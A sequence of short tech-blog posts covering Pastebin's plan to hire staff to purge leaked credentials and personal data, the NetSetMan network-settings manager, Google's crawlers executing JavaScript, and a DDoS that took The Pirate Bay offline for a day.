The Register reports Pastebin's Dutch owner and awesome last name possessor, 28-year-old Jeroen Vader, is tired of thousands of abuse alerts and DDoS attacks against his meek little site, which wanted only to become a place to anonymously and easily post text before it was appropriated by Sabu and co. Vader is now bringing in some cavalry, hiring an entire staff to manually purge the site of countless credit card numbers, passwords, personal addresses, and the rest of Anonymous' trove. It'll go a long way to put Pastebin back even within the realm of a clean business, but business is sure to slump with a hacker-unfriendly policy: as The Register points out, the site "attracts an average of 17 million unique visitors a month, up from 500,000 two year ago." Crime pays. Or at least for Vader, it used to.
[The Register]

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Custom network profiles using NetSetMan

NetSetMan is a network settings manager which can easily switch between 6 different profiles including IP address, subnet mask, default gateway, DNS server, Win server, computer name, printer, DNS domain, work group, and scripts. It also can get current settings and do a FastSwitch from the tray bar. With only two mouse clicks you can activate a saved profile and it is easy to use and very powerful.

NetSetMan is a network settings manager which can easily switch between 6 different, visually structured profiles including:

• IP Addresses
• Gateways (incl. Metric)
• DNS Servers
• WINS Servers
• IPv4 & IPv6!
• Extensive WiFi Management
• Computer Name
• Workgroup
• DNS Domain/Suffix
• Default Printer
• Network Drives
• NIC Status
• SMTP Server
• Hosts File Entries
• Scripts (BAT, VS, JS, ...)
• System Settings
• (Display Mode, Screensaver, Wallpaper & Color, Power Plan, Design & Sound Scheme, Speakers & Microphone Volume)

Official site here, have fun swapping networks.

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Google bots learning to read webpages like humans, one step closer toknowing everything

Google just launched its Knowledge Graph, a tool intended to deliver more accurate information by analyzing the way users search. Of course, with a desire to provide better search results comes a need for improved site-reading capabilities. JavaScript and AJAX have traditionally put a wrench in Google bots' journey through a webpage, but it looks like the search engine has developed some smarter specimens.


While digging through Apache logs, a developer spotted evidence that bots now execute the JavaScript they encounter -- and rather than just mining for URLS, the crawlers seem to be mimicking how users click on objects to activate them. That means bots can dig deeper into the web, accessing databases and other content that wasn't previously indexable. Looks like Google is one step closer to success on its quest to know everything.

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The Pirate Bay down for 24h after DDoS

Thepiratebay the last of the old-school media sharing sites was down for 24 hours after a Distributed Denial of Service attack. Rumors are spread about who launched this attack against thepiratebay, with more popular answer the anonymous.

Piratebay confirmed the attack in it's Facebook page and ended the rumors about anonymous with these posts :

"We're under a quite big ddos attack. We don't know who's behind it but we have our suspicions..."

"Just to clarify, we KNOW that it is NOT Anonymous who is behind the ddos attack. Stop spreading rumors like that.

We may not agree with Anonymous in everything, but we both want the internet to be open and free.

There, now carry on with whatever it is you were doing <|:)"

Thepiratebay.se survived the attack and it's back online for all of his pirates.



More piratebay's Facebook page posts:

"Wikileaks.org is also under attack.
This sure is the year of the storm..."

"We were loling just like you, then we took a ddos to the knee.
But now we're getting back up! Stronger than ever!"

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